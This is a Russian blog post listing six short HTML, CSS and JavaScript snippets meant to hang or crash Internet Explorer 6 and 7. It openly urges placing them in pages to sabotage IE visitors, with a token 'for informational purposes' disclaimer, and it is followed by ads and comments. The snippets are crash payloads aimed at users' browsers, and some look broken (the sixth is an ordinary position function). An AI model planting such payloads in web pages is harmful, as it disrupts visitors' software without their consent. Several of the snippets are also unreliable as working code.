6 Способов повесить ie6

Для многих дизайнеров и веб-разработчиков существует большая проблема в виде одного единственного продукта Microsoft , а именно Internet Explorer 6 и других его собратьев , которые создают нам 80% работы. И я думаю вы часто были свидетелями сайтов где вас просят отображать страницы через FireFox для удобной работы и правильно отображаемого дизайна. Но иногда можно поставить палку в колёса пользователям IE.

Ниже изложенные 6 вариантов хаков , вешают Internet Explorer и используются , для того , чтобы привлечь пользователей использовать более user friendly браузеры :

1 вариант

Самый большой , но эффективный вариант:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
  <head>
    <title>CRASH-IE</title>
    <style type="text/css">
      html, body {
      overflow: hidden;
      scrollbar-base-color: #330066;
      } 
 
      .crash {
      position:absolute;
      left:200px;
      top:200px;
      width:200px;
      }
    </style>
 
    <script type="text/javascript">
    function galgenfrist() {
        window.setTimeout('crashIE();',1000);
    }
 
    function crashIE() {
        var moveNode = document.getElementById("move");
        if(moveNode) {
            moveNode.style.top = "100px";
            moveNode.style.left = "200px";
        }
    }
    </script>
</head> 
 
<body onload="galgenfrist();">
 
    <h1>CRASH-IE</h1>
    <div id="move" class="crash">
    <table>
        <tbody>
        <tr>
        <td>
              <textarea></textarea>
        </td>
        </tr>
        </tbody>
    </table>
    </div> 
 
</body> 
 
</html>
2 вариант

Используем не большой цикл for на JavaScript , чтобы подвесить Internet Explorer.

<script>for (x in document.write) { document.write(x);}</script>
3 вариант

Солянка из CSS и HTML.

<style>*{position:relative}</style><table><input></table>
4 вариант

Обратные кавычки в указании атрибута для body— очень помогает :)

<body onLoad=”window()”>
5 вариант

Этот вариант на мой взгляд самый простой и действенный , короче — мой любимый.

<STYLE>@;/*
6 вариант

А это единственный мне известный хак , который повесит IE7.

function getX( oElement ) {
    var iReturnValue = 0;
    while( oElement != null ) {
        iReturnValue += oElement.offsetLeft;
        oElement = oElement.offsetParent;
    }
    return iReturnValue;
}

Это в общем то и всё , пользуйтесь — а всё что вы увидели в этом посте , было предоставлено только в ознакомительный целях! ;)

→ Источник

Постовой:
Живёте в Саратове? Вам требуется веб-сайт «под ключ» ? — тогда разработка сайтов в Саратове для вас!
Хорошее решение для вашего бизнеса в виде управление электронным документооборотом.

Популярность: 70%

Можно также почитать:

7 комментариев

  1. Grawl Grawl пишет:

    запись вмемориз, я тащусь от этого!!

  2. Михаил Михаил пишет:

    Я его лично вешал много раз когда писал хаки черех expresion для выравнивания по вертикали. Будем надесяться, что ie6 в скором времени канет в лету. А то надоело тратить кучу времени на его отладку.

  3. Grawl Grawl пишет:

    Михаил, для меня он умер в момент выхода первой беты семёрки с предустановленным IE8.

Написать комментарий

О блоге

сoderx.in - это блог о Web разработке, Web дизайне и программировании для начинающих и профессионалов в своём деле, а также о новостях и новинках в сфере IT. Практические советы и рекомендации о том, как создать, защитить и раскрутить свой сайт.